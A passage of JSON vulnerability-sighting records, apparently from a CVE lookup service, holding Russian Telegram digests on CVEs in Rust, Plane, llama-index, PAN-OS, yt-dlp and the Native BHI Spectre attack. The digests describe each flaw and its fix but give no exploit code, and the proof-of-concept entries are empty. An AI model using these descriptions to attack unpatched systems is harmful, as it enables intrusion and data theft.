\u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 Rust \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 1.77.2, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Remote Code Execution. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u041e\u0421 Window \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f API Command, \u043c\u0438\u043d\u0443\u044f \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f append_bat_arg() \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u044b\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\udc1bCVE-2024-31461, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 Plane \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e v0.17-dev , \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Server-side Request Forgery. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f is_allowed_hostname \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u0441 \"\u0431\u0435\u043b\u044b\u043c\" \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439.\n\n\ud83d\udc1bCVE-2024-3098, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 llama-index \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 0.10.24, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Remote Code Execution. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 \u0441 \u043f\u043e\u0434\u043a\u043b\u0430\u0441\u0441\u043e\u043c str. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d \u0441\u043f\u0438\u0441\u043e\u043a ALLOWED_BUILTINS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0435 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u043d\u0435\u0433\u043e.\n\n\ud83d\udc1bCVE-2024-3400, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u043b\u0430\u0445 Palo Alto \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 PAN-OS 10.2, 11.0 \u0438 11.1, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a OS Command Injection. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root \u043d\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0435. \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c security advisory. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 Unit42 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-3400 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2026-07-27T00:01:32.671631Z"}, {"uuid": "a327a3b8-4bef-4db9-9697-9fe8bd4acb6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "Telegram/FMxKlI5Q8oe-wqfdJhLf519zmPU2wTxgtOLa-sFM77th6qo", "content": "", "creation_timestamp": "2026-08-29T00:00:28.174234Z"}, {"uuid": "99cf5491-c6ff-444f-9443-c18fdf470e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "published-proof-of-concept", "source": "Telegram/2JgLAbMqM6fsfnUVedt_GGez95ruqiYt_7ssbkX2uKcldVA", "content": "", "creation_timestamp": "2026-08-29T00:00:29.565908Z"}, {"uuid": "b213c707-a515-43c2-b51c-6e0da552b21b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2201", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/2644", "content": "\u041f\u0435\u0440\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 Native Spectre v2 \u043f\u0440\u043e\u0442\u0438\u0432 \u044f\u0434\u0440\u0430 Linux\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u0410\u043c\u0441\u0442\u0435\u0440\u0434\u0430\u043c\u0441\u043a\u043e\u0433\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0442\u0438\u043f \u0430\u0442\u0430\u043a\u0438 \u2013 Native Branch History Injection (BHI) \u043f\u0440\u043e\u0442\u0438\u0432 \u044f\u0434\u0440\u0430 Linux \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Intel. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430 \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e 3,5 \u041a\u0411/\u0441 \u0432 \u043e\u0431\u0445\u043e\u0434 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b Spectre v2/BHI. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-2201.\n\nBHI \u0431\u044b\u043b \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442 VUSec \u0432 \u043c\u0430\u0440\u0442\u0435 2022 \u0433\u043e\u0434\u0430, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044f \u0435\u0433\u043e \u043a\u0430\u043a \u043c\u0435\u0442\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 Spectre v2 \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 Intel, AMD \u0438 Arm.\n\n\u0425\u043e\u0442\u044f \u0432 \u0430\u0442\u0430\u043a\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0411\u0435\u0440\u043a\u043b\u0438 (eBPF), \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 Intel \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0447\u0435\u0433\u043e, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0438\u0441\u044c \u0432 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 eBPF Linux. \n\nNative BHI \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u044d\u0442\u0443 \u043a\u043e\u043d\u0442\u0440\u043c\u0435\u0440\u0443, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044f, \u0447\u0442\u043e BHI \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0431\u0435\u0437 eBPF. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Intel, \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a BHI.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0426\u041f, \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435, \u0441 \u0446\u0435\u043b\u044c\u044e \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c.\n\n\u042d\u0442\u043e \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c InSpectre Gadget, \u0443\u043c\u0435\u044e\u0449\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0432 \u044f\u0434\u0440\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0432 \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u044b Intel \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, FineIBT) \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0413\u0430\u0434\u0436\u0435\u0442\u044b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u0434\u0430, \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u0441\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0436\u0435\u0440\u0442\u0432\u044b \u0432 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u0430\u043d\u0430\u043b.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430, \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0434\u044f \u043a \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u043c\u0443 \u0433\u0430\u0434\u0436\u0435\u0442\u0443\u00bb.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Illumos, Intel, Red Hat, SUSE Linux, Triton Data Center \u0438 Xen. AMD \u0432 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u00ab\u043d\u0435 \u0437\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u043e\u043c-\u043b\u0438\u0431\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u0438\u00bb \u043d\u0430 \u0441\u0432\u043e\u044e \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vusec.net/projects/native-bhi/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-28T00:00:39.755509Z"}, {"uuid": "8cf139e0-9422-4167-a4f0-dc2f3292454c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "published-proof-of-concept", "source": "Telegram/2JgLAbMqM6fsfnUVedt_GGez95ruqiYt_7ssbkX2uKcldVA", "content": "", "creation_timestamp": "2026-08-29T00:00:29.615277Z"}, {"uuid": "0a36f28c-2de4-4955-918e-6521a64997a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22423", "type": "seen", "source": "https://t.me/zhatez/1070", "content": "\ud83d\udd0d \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\ud83d\udc1bCVE-2024-22423, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 yt-dlp \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 2024.04.09, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a OS Command Injection. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f shell_quote(), \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.\n\n\ud83d\udc1bCVE-2024-24576, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 Rust \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 1.77.2, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Remote Code Execution. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u041e\u0421 Window \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f API Command, \u043c\u0438\u043d\u0443\u044f \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f append_bat_arg() \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u044b\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\udc1bCVE-2024-31461, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 Plane \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e v0.17-dev , \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Server-side Request Forgery. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0447\u0442\u043e 